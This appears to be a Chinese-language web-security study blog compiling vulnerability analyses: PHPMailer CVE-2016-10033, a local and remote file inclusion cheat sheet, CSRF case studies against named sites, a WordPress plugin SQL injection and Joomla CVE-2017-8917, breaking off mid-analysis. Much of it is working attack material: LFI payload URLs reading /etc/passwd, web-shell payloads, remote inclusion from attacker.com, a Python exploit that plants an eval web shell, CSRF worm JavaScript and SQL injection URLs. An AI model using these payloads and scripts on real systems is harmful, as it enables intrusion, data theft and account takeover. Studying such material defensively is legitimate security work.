    根据这段if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header);可以看到只有safe_mode没有开启的情况下才存在漏洞。

    假设这个函数没有开启,继续追踪到关键函数$result = @mail($to, $subject, $body, $header, $params);
    接下来看一看这个函数到底是怎么绕过的,追踪$params参数
    setFrom()函数中发现这个参数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    public function setFrom($address, $name = '', $auto = true)
    {
    $address = trim($address);
    $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
    // Don't validate now addresses with IDN. Will be done in send().
    if (($pos = strrpos($address, '@')) === false or
    (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
    !$this->validateAddress($address)) {
    $error_message = $this->lang('invalid_address') . " (setFrom) $address";
    $this->setError($error_message);
    $this->edebug($error_message);
    if ($this->exceptions) {
    throw new phpmailerException($error_message);
    }
    return false;
    }
    $this->From = $address;
    $this->FromName = $name;
    if ($auto) {
    if (empty($this->Sender)) {
    $this->Sender = $address;
    }
    }
    return true;
    }

    函数中对address参数进行了过滤,既然这样,那问题肯定就是出现在过滤函数中了,继续往下找

    过滤函数validateAddress

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    public static function validateAddress($address, $patternselect = null)
    {
    if (is_null($patternselect)) {
    $patternselect = self::$validator;
    }
    if (is_callable($patternselect)) {
    return call_user_func($patternselect, $address);
    }
    //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
    if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
    return false;
    }
    if (!$patternselect or $patternselect == 'auto') {
    //Check this constant first so it works when extension_loaded() is disabled by safe mode
    //Constant was added in PHP 5.2.4
    if (defined('PCRE_VERSION')) {
    //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
    if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
    $patternselect = 'pcre8';
    } else {
    $patternselect = 'pcre';
    }
    } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
    //Fall back to older PCRE
    $patternselect = 'pcre';
    } else {
    //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
    if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
    $patternselect = 'php';
    } else {
    $patternselect = 'noregex';
    }
    }
    }
    switch ($patternselect) {
    case 'pcre8':
    /**
    * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
    * @link http://squiloople.com/2009/12/20/email-address-validation/
    * @copyright 2009-2010 Michael Rushton
    * Feel free to use and redistribute this code. But please keep this copyright notice.
    */
    return (boolean)preg_match(
    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
    $address
    );
    case 'pcre':
    //An older regex that doesn't need a recent PCRE
    return (boolean)preg_match(
    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
    $address
    );
    case 'html5':
    /**
    * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
    * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
    */
    return (boolean)preg_match(
    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
    $address
    );
    case 'noregex':
    //No PCRE! Do something _very_ approximate!
    //Check the address is 3 chars or longer and contains an @ that's not the first or last char
    return (strlen($address) >= 3
    and strpos($address, '@') >= 1
    and strpos($address, '@') != strlen($address) - 1);
    case 'php':
    default:
    return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
    }
    }

    看到这段可以分析出两个限制条件,php版本小于5.2.0并且不支持PCRE才有可能调用 $patternselect = 'noregex';,
    假设版本小于5.2.0并且不支持PCRE,看一看noregex如何过滤的

    1
    2
    3
    4
    5
    6
    7
    case 'noregex':
    //No PCRE! Do something _very_ approximate!
    //Check the address is 3 chars or longer and contains an @ that's not the first or last char
    return (strlen($address) >= 3
    and strpos($address, '@') >= 1
    and strpos($address, '@') != strlen($address) - 1);

    只要存在@并且长度大于等于3就好了,那这样就可以任意构造这个参数了。
    接下来继续分析怎么构造会造成漏洞

    这个漏洞的核心是因为php mail()函数漏洞引起的

    首先看一下这个函数http://www.w3school.com.cn/php/func_mail_mail.asp的语法

    1
    2
    3
    4
    5
    6
    7
    8
    语法
    mail(to,subject,message,headers,parameters)
    参数 描述
    to 必需。规定邮件的接收者。
    subject 必需。规定邮件的主题。该参数不能包含任何换行字符。
    message 必需。规定要发送的消息。
    headers 必需。规定额外的报头,比如 From, Cc 以及 Bcc。
    parameters 必需。规定 sendmail 程序的额外参数。

    声明:下面这段摘自绿盟博客,解释的至少比我易懂

    在Linux系统上,mail函数在底层实现中,默认调用Linux的sendmail程序发送邮件。在sendmail程序的参数中,有一个-X选项,用于记录所有的邮件进出流量至log文件中。

    1
    2
    3
    4
    > -X logfile
    > Log all traffic in and out of mailers in the indicated log
    > file. This should only be used as a last resort for debugging
    > mailer bugs. It will log a lot of data very quickly.

    通过-X指定log文件记录邮件流量,实际可以达到写文件的效果。
    例如,如下php代码

    1
    2
    3
    4
    5
    6
    7
    $to = '[email protected]';
    $subject = 'Hello Alice!';
    $message=‘<?php phhpinfo(); ?>’;
    $headers = "CC: [email protected]";
    $options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
    mail($to, $subject, $message, $headers, $options);
    ?>

    执行后,查看log文件/var/www/html/rce.php

    1
    2
    3
    4
    5
    6
    7
    17220 <<< To: [email protected]
    17220 <<< Subject: Hello Alice!
    17220 <<< X-PHP-Originating-Script: 0:test.php
    17220 <<< CC: [email protected]
    17220 <<<
    17220 <<< <?php phpinfo(); ?>
    17220 <<< [EOF]

    发现被写入了包含在邮件标题或正文中的php代码,通过访问此log文件可以执行预先可控的php代码。
    image

    关于POC可以看一下这些文章

    https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
    http://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
    https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
    http://blog.nsfocus.net/multiple-php-mail-function-vulnerability-analysis/?utm_source=tuicool&utm_medium=referral
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033

  • Local File Inclusion and Remote File Inclusion

    Local File Inclusion

    防御策略

    文件上传

    • 大小
    • 类型
    • 存储位置
    • 内容安全
    • 访问权限
    • 名称随机化

    文件下载

    • 下载路径
    • 敏感信息
    • 访问权限

    阿里云OSS安全 https://help.aliyun.com/document_detail/126537.html?spm=a2c4g.11186623.6.552.44f874b8BaaI5y

    1) Direct Local Include

    1
    http://site.com/lfi.php?page=/etc/passwd

    2) php://filter

    php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include;

    1
    2
    3
    http://www.site.com/lfi.php?page=php://filter/resource=config.php

    http://www.site.com/lfi.php?page=php://filter/convert.base64-encode/resource=config.php

    3) /proc/self/environ

    Request’s user agent can be found there

    用户可通过修改浏览器的agent信息插入自己的内容到该文件,将php代码写进去之后再利用LFI进行包含就可以实现漏洞的利用

    1
    2
    3
    GET /lfi.php?page=/proc/self/environ&cmd=id HTTP/1.1
    Host: www.site.com
    User-Agent: <?php echo shell_exec($_GET['cmd']);?>

    4) Including images

    If image.jpg contains php code it will be interpreted.

    1
    http://www.site.com/lfi.php?page=upload/image.jpg

    5) Zip and Phar wrappers

    File must be zip archive with any extension

    phar://伪协议 >> 数据流包装器,自 PHP 5.3.0 起开始有效,正好契合上面两个伪协议的利用条件。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。

    用法:?file=phar://压缩包/内部文件

    1
    2
    3
    http://www.site.com/lfi.php?page=zip://image.zip#shell.php

    http://www.site.com/lfi.php?page=phar://image.phar#shell.php

    6) File Upload

    It requires php interpreter that crashes upon infinite recursive inclusion, thus not removing temporary file.

    1. Upload a file and trigger a self-inclusion
    2. Repeat step 1 until successful attack
    3. Bruteforce inclusion of /tmp/php[0-9a-zA-Z]{6}
    4. Shell

    We have 62**6 possible values -> 56800235584 filenames for temporary uploaded files
    Birthday paradox can be applied and it results with about 280000 requests to find valid file with more than 50% chance.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    import itertools
    import requests
    import sys

    print('[+] Trying to win the race')
    f = {'file': open('shell.php', 'rb')}
    for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


    print('[+] Bruteforcing the inclusion')
    for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text: # <?php echo system('uptime');
    print('[+] We have got a shell: ' + url)
    sys.exit(0)

    print('[x] Something went wrong, please try again')

    It is possible to send 20 files in one request that will be accepted by the server.

    7) Session Files

    1
    2
    3
    4
    5
    Session文件一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目录下,文件名字一般以sess_SESSIONID来保存。
    首先,查看找到session文件并包含一次:文件名可以通过firefox的fire cookie插件查看当前session值。
    实际应用过程中需要注意以下几点:
    1) 网站可能没有生成临时session,以cookie方式保存用户信息,或者根本就完全没有。
    2) Session文件内容的控制,这个时候我们就需要先通过包含查看当前session的内容,看session值中有没有我们可控的某个变量,比如url中的变量值。或者当前用户名username。如果有的话,我们就可以通过修改可控变量值控制恶意代码写入session文件。如果没有的话,可以考虑让服务器报错,有时候服务器会把报错信息写入用户的session文件的。我们控制使服务器报错的语句即可将恶意代码写入session。

    8) PHPInfo Script

    1
    <?php phpinfo(); ?> 

    9) 结合phpinfo包含临时文件

    php有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。当然,我们可以暴力猜解,但是这样子还是太过鸡肋的。国外一个安全研究者提出利用phpinfo来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生成的临时文件名字和目录。所以借助phpinfo()我们可以找出临时文件名并利用。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    #!/usr/bin/env python
    # encoding=utf-8
    # Author : idwar
    # http://secer.org

    '''

    可能需要你改的几个地方:
    1、host
    2、port
    3、request中的phpinfo页面名字及路径
    4、hello_lfi() 函数中的url,即存在lfi的页面和参数
    5、如果不成功或报错,尝试增加padding长度到7000、8000试试
    6、某些开了magic_quotes_gpc或者其他东西不能%00的,自行想办法截断并在(4)的位置对应修改
    Good Luck :)

    '''

    import re
    import urllib2
    import hashlib
    from socket import *
    from time import sleep
    host = '192.168.92.132'
    #host = gethostbyname(domain)
    port = 80
    shell_name = hashlib.md5(host).hexdigest() + '.php'
    pattern = re.compile(r'''\[tmp_name\]\s=&gt;\s(.*)\W*error]''')

    payload = '''idwar<?php fputs(fopen('./''' + shell_name + '''\',"w"),"idwar was here<?php eval(\$_POST[a]);?>")?>\r'''
    req = '''-----------------------------7dbff1ded0714\r
    Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
    Content-Type: text/plain\r
    \r
    %s
    -----------------------------7dbff1ded0714--\r''' % payload

    padding='A' * 8000
    request='''POST /test/1.php?a='''+padding+''' HTTP/1.0\r
    Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r
    HTTP_ACCEPT: ''' + padding + '''\r
    HTTP_USER_AGENT: ''' + padding + '''\r
    HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r
    HTTP_PRAGMA: ''' + padding + '''\r
    Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
    Content-Length: %s\r
    Host: %s\r
    \r
    %s''' % (len(req), host, req)


    def hello_lfi():
    while 1:
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((host, port))
    s.send(request)
    data = ''
    while r'</body></html>' not in data:
    data = s.recv(9999)
    search_ = re.search(pattern, data)
    if search_:
    tmp_file_name = search_.group(1)
    url = r'http://192.168.92.132/test/2.php?s=%s%%00' % tmp_file_name
    print url
    search_request = urllib2.Request(url)
    search_response = urllib2.urlopen(search_request)
    html_data = search_response.read()
    if 'idwar' in html_data:
    s.close()
    return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name)
    #import sys;sys.exit()
    s.close()
    if __name__ == '__main__':
    print hello_lfi()
    print '\n Good Luck :)'

    10) Logs

    包含web server日志文件

    不管我们提交的Get请求或者Post请求都会被apache记录到日志文件里。所以我们可以控制请求内容,将恶意代码写入日志文件,从而实现包含。

    直接访问test.php?file=../<?php phpinfo();?>.php,将会被记录下来。这样便成功将php代码写进log文件。

    FTP日志文件内容

    用户名填:<?php phpinfo();?>

    Remote File Inclusion

    Works when allow_url_include in php.ini is set to TRUE

    1) Direct Remote Include

    Including php file in text format directly

    1
    http://www.site.com/lfi.hpp?page=http://attacker.com/shell.txt

    2) Data:text/plain

    Including php code through data stream

    data://伪协议 >> 数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

    1
    2
    3
    http://www.site.com/lfi.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>

    http://www.site.com/lfi.php?page=data:text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7Pz4=

    3) php://input

    ?file=php://input 数据利用POST传过去

    1
    2
    3
    4
    5
    6
    POST /lfi.php?page=php://input&cmd=cd HTTP/1.1
    Host: www.site.com
    Content-Lenth: 39

    <?php echo shell_exec($_GET['cmd']);?>

    Fighting with extensions

    1) Null Bytes

    Add null byte that will terminate string

    1
    2
    3
    http://www.site.com/lfi.php?page=/etc/passwd%00

    http://www.site.com/lfi.php?page=/etc/passwd%2500

    2) Truncation

    Cut extension by creating long string

    1
    http://www.site.com/lfi.php?page=../../../../../../../../../../../../etc/passwd
    1
    http://www.site.com/lfi.php?page=/etc/passwd..............................
    1
    http://www.site.com/lfi.php?page=/etc/passwd.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

    参考:

    利用本地包含漏洞执行任意代码

    CTF-WIKI

    LFIboomCTF

  • Cross-site request forgery

    0x00 什么是CSRF

    CSRF:Cross-Site Request Forgery,跨站请求伪造

    在OWASP中是这样说的

    1
    2
    一个跨站请求伪造攻击迫使登录用户的浏览器将伪造的HTTP请求,包括该用户的会话cookie
    和其他认证信息,发送到一个存在漏洞的web应用程序。这就允许了攻击者迫使用户浏览器向存在漏洞的应用程序发送请求,而这些请求会被应用程序认为是用户的合法请求

    0x01 CSRF攻击分类

    • GET
    1
    请求是个GET请求,请求中没有token验证和referer验证,然后还有一个固定的变量可以被控制
    • POST
    1
    请求是个POST请求,请求中没有token参数,也没有验证referer
    • POST->GET
    1
    请求是个POST请求,请求中没有token参数,但是验证了referer。然而可以将post请求改写为get请求,然后通过第一种的情况进行利用
    • CSRF+XSS
    1
    传说中的“黄金搭档”
    • FLASH CSRF
    1
    2
    3
    Flash跨域权限管理文件过滤规则不严(domain=”*”),导致可以从其它任何域传Flash产生CSRF

    说真的,在学习这个之前还真不知道crossdomain.xml这个文件的作用

    0x02 CSRF的主要危害

    • 篡改目标网站上的用户数据

    • 盗取用户隐私数据

    • 作为其他攻击向量的辅助攻击手法

    • 传播CSRF蠕虫

    0x03 CSRF案例解析

    • 华为商城某处CSRF可修改安全邮箱

    漏洞点http://www.vmall.com/member/[email protected]

    然后就可以修改绑定邮箱,然后通过邮箱修改密码,登录帐号

    • 新浪微博CSRF点链接关注

    这里uid可以是任意用户

    利用burp简单构造poc

    1
    2
    3
    4
    <form action="http://movie.weibo.com/feed/relation/index/?fajtype=follow" method="POST">
    <input type="hidden" name="uid" value="1944519257" />
    <input type="submit" value="Submit request" />
    </form>
    • 新浪微博CSRF之点我链接发微博

    http://wanwan.sina.com.cn.llunull.tk/a.php

    此处构造poc

    1
    2
    3
    4
    5
    6
    7
    <form action="http://wanwan.sina.com.cn/t_sina/event/sxd.php" method="get">
    <input type="text" name="e" value="5" />
    <input type="text" name="img" value="http://wanwan.sina.com.cn.llunull.tk/sina_csrf.php">
    <input type="text" name="text" value="hello,[email protected]://wanwan.sina.com.cn.llunull.tk/a.php" />
    <input type="text" name="ra" value="">
    <script> document.forms[0].submit(); </script>
    </form>
    • 某通用cms添加后台管理员的CSRF漏洞

    添加后台管理员请求如下:

    然后将post请求改成get也可以成功发包。

    http://127.0.0.1/asp/Survey/admin/Admin.asp?Username=test222&Password1=123456&Password2=123456&action=yes

    • 万达电影主站xss+csrf又是蠕虫

    电影的评论处存在存储型xss

    payload:<img src=x onerror=$['get\123cript']('//20.rs') width=0>

    CSRF的蠕虫代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    var url="http://www.wandafilm.com/user/comment.do?m=addFilmComment";
    var sendata = "filmId=20140507033232512405&commentContent=%3Cimg+src%3Dx+onerror%3D%24%5B'get\\123cript'%5D('%2F%2Fkm3.pw')+width%3D0%3E&cmType=0&code=";
    if (window.XMLHttpRequest){
    var xmlhttp1=new XMLHttpRequest();
    }
    else{
    var xmlhttp1=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp1.open("POST",url,true);
    xmlhttp1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    xmlhttp1.send(sendata);

    filmId是想要蔓延过去的电影ID的值,只需要改变电影ID就可以实现蠕虫的蔓延,当然这只是测试了

    • 百度某站可结合CSRF及XSS劫持账号

    在百度词典-我的词典处,有将生词添加进生词本的功能,在备注的时候没有进行过滤,可以直接插入JavaScript代码。

    一个“SELF-XSS”,只能跨自己,有什么用呢?

    考虑利用CSRF来触发这个XSS

    构造POC:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #!html
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    </head>
    <body>
    <form id="baidu" name="baidu" action="http://dict.baidu.com/wordlist.php" method="POST">
    <input type="text" name="req" value="add" />
    <input type="text" name="word" value="Wooyun" />
    <input type="text" name="explain" value="<script src=http://xsserme></script>" />
    <input type="submit" value="submit" />
    </form>
    <script>
    document.baidu.submit();
    </script>
    </body>
    </html>

    诱惑受害者访问该页面

    已经成功添加了一个新单词“Wooyun”

    代码成功执行

    [来源wooyun]

    • flash csrf自动设置自己的密保邮箱

    当一个访客访问伪造链接的时候,自动设置自己的密保邮箱。

    申请保密邮箱,浏览器向服务端发送了一个POST请求,请求地址和参数为:POST:xxx.xxx.xx/xx.jsp?userid=xxxx&[email protected]

    之前测试保密邮箱得知服务端没有验证Referer,但是页面验证了Token,所以就可以直接把POST数据包中的请求地址,参数名,参数值,Token值取出来用于伪造绑定保密邮箱的请求。

    利用代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    #!as3
    package {
    import flash.display.Sprite;
    import flash.events.Event;
    import flash.net.*;
    import flash.text.TextField;
    public class url extends Sprite
    {
    public function url()
    {
    //获取当前页面userid/token
    var echo_txt:TextField = new TextField();
    var targetURL:String = "http://xx.xx.cc";
    var request:URLRequest = new URLRequest(targetURL);
    request.method = URLRequestMethod.GET;
    request.data = "";
    sendToURL(request);
    var loader:URLLoader=new URLLoader();
    loader.addEventListener(Event.COMPLETE,completeHandler);
    function completeHandler(event:Event):void{
    var userid:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||["",""])[1];

    var masthash:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||["",""])[1];
    echo_txt.text = masthash;
    //伪造申请密保邮箱POST请求
    var emailtargetURL:String = "http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send";
    var emailrequest:URLRequest = new URLRequest(emailtargetURL);
    emailrequest.method = URLRequestMethod.POST;
    var postdata:Object = new Array();
    postdata[0]="[email protected]&xxxx="+xxxxx&"xxxxx="+xxx;
    emailrequest.data = postdata[0];
    sendToURL(emailrequest);
    }
    loader.load(request);
    }
    }
    }

    现在可以注册一个新邮箱测试一下了

    [来源wooyun]

    0x04 CSRF的防御

    token校验

    0x05 CSRF总结

    只要够猥琐,一个小洞也能上天

  • Wordpress_Plugin_SinglePersonalMessage1.0.3 sql injection

    exploit-db

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # Exploit Title: Single Personal Message 1.0.3 – Plugin WordPress – Sql Injection
    # Date: 28/11/2016
    # Exploit Author: Lenon Leite
    # Vendor Homepage: https://wordpress.org/plugins/simple-personal-message/
    # Software Link: https://wordpress.org/plugins/simple-personal-message/
    # Contact: http://twitter.com/lenonleite
    # Website: http://lenonleite.com.br/
    # Category: webapps
    # Version: 1.0.3
    # Tested on: Windows 8

    0X01 代码分析

    好不容易从github上找了份有漏洞的版本

    目录结构如图

    既然是注入就从交互点下手,搜索sql语句,顺着目录挨个寻找

    从外到内寻找交互的地方,在admin/class-simple-personal-message-admin.php发现了几十处,例如下面这种

    1
    2
    3
    4
    5
    6
    7
    8
    9
    $user_login = esc_sql(wp_get_current_user()->user_login);

    global $wpdb;

    $table_name = $wpdb->prefix . 'spm_message';

    $wpdb->get_results("SELECT * FROM $table_name WHERE receiver = '" . $user_login . "' AND status = 0 AND receiver_deleted = 0", OBJECT);

    return $wpdb->num_rows;

    然而这个里面所有的都用esc_sql过滤了

    继续往里层查找,在admin/partials/simple-personal-message-admin-view.php发现

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php

    global $wpdb;

    $table = $wpdb->prefix . 'spm_message';

    $id = esc_attr($_GET['message']);

    $message = $wpdb->get_results("SELECT * FROM $table WHERE id = $id");

    $user = get_user_by('login', $message[0]->sender);

    ?>

    可以很明显的看到

    1
    2
    3
    $id = esc_attr($_GET['message']);

    $message = $wpdb->get_results("SELECT * FROM $table WHERE id = $id");

    message没有经过过滤就拼接到sql语句中了

    0x02 证明

    正常状态下

    拼接一下message参数

    http://localhost/wordpress/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=1%20UNION%20SELECT%201,2.3,4,5,user(),7,8,9,10,11,12%20FROM%20wp_terms%20WHERE%20term_id=1

  • Joomla! 3.7 (CVE-2017-8917) 代码分析

    0x00 背景

    1
    2
    3
    4
    Security Risk: Severe
    Exploitation Level: Easy/Remote
    DREAD Score: 8.6/10
    Vulnerability: SQL Injection

    0x01 POC

    1
    2
    3
    http://127.0.0.1/Joomla_16/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(1,concat(0x7e,(select%20user()),0x7e))

    http://127.0.0.1/Joomla_16/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)

    0x02 分析

    MVC架构,根据poc往下扒

    CVE-2017-8917_Joomla_3.7.0\components\com_fields\controller.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    public function __construct($config = array())
    {
    $this->input = JFactory::getApplication()->input;

    // Frontpage Editor Fields Button proxying:
    if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
    在这里找到了poc中的fields和modal,顺着这里继续往下

    {
    // Load the backend language file.
    $lang = JFactory::getLanguage();
    $lang->load('com_fields', JPATH_ADMINISTRATOR);

    $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
    设置$config['base_path']为administrator的components目录
    }

    parent::__construct($config);
    }

    然后跟踪这个函数到了CVE-2017-8917_Joomla_3.7.0\libraries\legacy\controller\legacy.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    public function __construct($config = array())
    {
    .......
    // Set the default model search path
    if (array_key_exists('model_path', $config))
    {
    // User-defined dirs
    $this->addModelPath($config['model_path'], $this->model_prefix);
    }
    else
    {
    $this->addModelPath($this->basePath . '/models', $this->model_prefix);

    进入else分支,$this->basePath是上一段中$config['base_path'],即 administators/components
    }

    ..........
    }

    继续往下走

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    public function display($cachable = false, $urlparams = array())
    此处进行了一个实际操作,获取view、创建model等
    {
    $document = JFactory::getDocument();
    $viewType = $document->getType();
    $viewName = $this->input->get('view', $this->default_view);
    $viewLayout = $this->input->get('layout', 'default', 'string');

    $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));

    // Get/Create the model
    if ($model = $this->getModel($viewName))
    此处 getModel进行了一个操作,跟进

    {
    // Push the model into the view (as default)
    $view->setModel($model, true);
    }

    $view->document = $document;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    public function getModel($name = '', $prefix = '', $config = array())
    {
    if (empty($name))
    {
    $name = $this->getName();
    }

    if (empty($prefix))
    {
    $prefix = $this->model_prefix;
    }

    if ($model = $this->createModel($name, $prefix, $config))
    调用createModel方法进行类的实例化并返回$model
    {
    // Task is a reserved state
    $model->setState('task', $this->task);

    // Let's get the application object and set menu information if it's available
    $menu = JFactory::getApplication()->getMenu();

    if (is_object($menu))
    {
    if ($item = $menu->getActive())
    {
    $params = $menu->getParams($item->id);

    // Set default state data
    $model->setState('parameters.menu', $params);
    }
    }
    }

    return $model;
    }

    然后接下来setModel将model Push到view中

    1
    2
    3
